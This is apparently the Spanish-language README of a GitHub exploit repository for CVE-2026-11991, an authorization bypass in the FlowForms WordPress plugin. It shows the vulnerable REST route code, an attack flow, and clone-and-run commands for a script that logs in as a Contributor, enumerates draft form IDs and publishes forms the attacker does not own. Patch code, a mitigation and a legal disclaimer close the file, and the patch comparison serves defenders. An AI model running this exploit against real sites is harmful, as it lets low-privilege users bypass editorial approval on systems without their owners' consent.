
Exploit automatizado para CVE-2026-11991, una omisión de autorización en el plugin FlowForms de WordPress que permite a usuarios Contributor+ publicar cualquier formulario en borrador mediante solicitudes REST API manipuladas.
| Propiedad | Valor |
|---|
| ID CVE | CVE-2026-11991 |
| Puntuación CVSS | 6.2 — Media |
| Vector CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Omisión de Autorización Mediante Clave Controlada por el Usuario) |
| Producto | FlowForms — Plugin de WordPress para Constructor de Formularios Conversacionales |
| Afectado | Todas las versiones hasta la 1.1.1 inclusive |
| Corregido en | 1.1.2 |
| Investigador | Phantom Hat |
Estudio de caso completo de caja blanca con análisis de código fuente, trazado del flujo de entrada y comparación de parches:
FlowForms expone una API REST bajo el espacio de nombres flowforms/v1. El endpoint de publicación:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
acepta un {id} controlado por el usuario en la ruta URL y promueve un formulario borrador al sitio en vivo.
El permission_callback para la ruta /publish realiza únicamente una comprobación genérica de capacidades:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts es una capacidad que poseen los Contributors — un rol al que WordPress restringe intencionalmente la publicación de contenido. No existe ninguna verificación de propiedad contra el form_id objetivo. Cualquier usuario autenticado puede publicar cualquier formulario borrador en el sitio.
Atacante (Contributor) API REST de FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticarse como Contributor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Obtener nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerar formularios borrador
│<─ "Form Not Published" ───────────│ (respuesta no autenticada)
│ │
│── POST /flowforms/v1/forms/ │ (4) Activar publicación en
│ {id}/publish ─────────────>│ cualquier ID de formulario borrador
│ │ ← sin verificación de propietario
│<─ { "success": true } ────────────│
│ │
│ El formulario ahora está EN VIVO │ (5) El borrador omite el
│ en el sitio sin aprobación │ flujo de trabajo editorial
│ editorial │
Contributor en el sitio objetivogit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Parámetro | Descripción | Obligatorio |
|---|---|---|
--url | URL de WordPress objetivo | ✅ |
--user | Nombre de usuario de WordPress (Contributor+) | ✅ |
--password | Contraseña de WordPress | ✅ |
--num_forms | Número de IDs de formularios a enumerar | ✅ |
--id_start | ID de formulario inicial para la enumeración | ✅ |
--proxy | URL del proxy (p. ej. http://127.0.0.1:8080) | ❌ |
El exploit realiza tres pasos automatizados:
Paso 1 — Autenticación
Inicia sesión como el atacante (Contributor) y obtiene un nonce válido de la API REST desde wp-admin.
Paso 2 — Enumeración de Borradores
Escanea GET /flowform/{id} en el rango de IDs especificado. Los formularios que devuelven "Form Not Published" se recopilan como objetivos — estos son formularios borrador sobre los que el atacante no tiene propiedad.
Paso 3 — Publicación
Envía POST /flowforms/v1/forms/{id}/publish con el nonce del atacante. El endpoint acepta la solicitud, promueve el borrador y hace que el formulario esté en vivo — sin ninguna comprobación de autorización sobre la propiedad.
| Acción | Detalles |
|---|---|
| Parche | Reemplazar la comprobación genérica edit_posts por current_user_can('edit_post', $form_id) — el segundo argumento vincula la comprobación de capacidad al objeto de publicación específico, aplicando las reglas de propiedad de WordPress |
| Mitigación | Hasta que se aplique el parche, restringir los roles Contributor y Author si el plugin está activo |
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SEGURO (parcheado)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # Exploit pulido con interfaz enriquecida
├── requirements.txt # Dependencias de Python
└── README.md # Este archivo
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines de investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según las leyes aplicables en todo el mundo. El autor no asume ninguna responsabilidad por el uso indebido de este software. Obtenga siempre permiso escrito explícito antes de probar cualquier sistema que no le pertenezca.
Phantom Hat — Investigador de Seguridad Independiente
Esta investigación se realizó como parte de la divulgación responsable de vulnerabilidades.